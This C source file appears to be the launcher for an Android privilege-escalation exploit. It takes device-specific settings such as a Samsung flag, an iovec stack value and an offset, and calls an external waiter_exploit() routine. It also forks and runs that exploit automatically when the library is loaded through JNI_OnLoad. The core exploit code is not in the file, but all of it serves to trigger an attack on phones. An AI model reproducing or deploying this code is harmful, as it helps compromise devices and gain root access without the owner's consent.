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#include <stdio.h>
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#include <stdlib.h>
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#include <stdbool.h>
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#include <netinet/in.h>
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#include <sys/socket.h>
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#include <sys/ptrace.h>
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#include <sys/syscall.h>
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#include <sys/wait.h>
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#include <sys/mman.h>
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#include <fcntl.h>
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#include <jni.h>
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#include "log.h"
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extern int waiter_exploit();
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extern int config_new_samsung;
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extern int config_iovstack;
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extern int config_offset;
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extern int config_force_remove;
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void init_exploit() {
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    LOGV("[+] <main> parent pid = %d", getpid());
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	int retval = waiter_exploit();
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	LOGV("Exploit result %d\n", retval);
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}
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int main(int argc, char **argv) {
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	if (argc > 4) {
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		config_new_samsung = atoi(argv[1]);
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		config_iovstack = atoi(argv[2]);
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		config_offset = atoi(argv[3]);
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		config_force_remove = atoi(argv[4]);
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	}
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	init_exploit();
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	exit(EXIT_SUCCESS);
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}
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JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
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{
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	JNIEnv *env;
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	LOGV("onload, uid=%d\n", getuid());
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	if((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK)
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	{
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		return -1;
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	}
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	int pid = fork();
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	if (pid == 0) {
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		init_exploit();
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	}
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	return JNI_VERSION_1_4;
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}
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JNIEXPORT void JNICALL JNI_OnUnload( JavaVM *vm, void *pvt )
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{
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}
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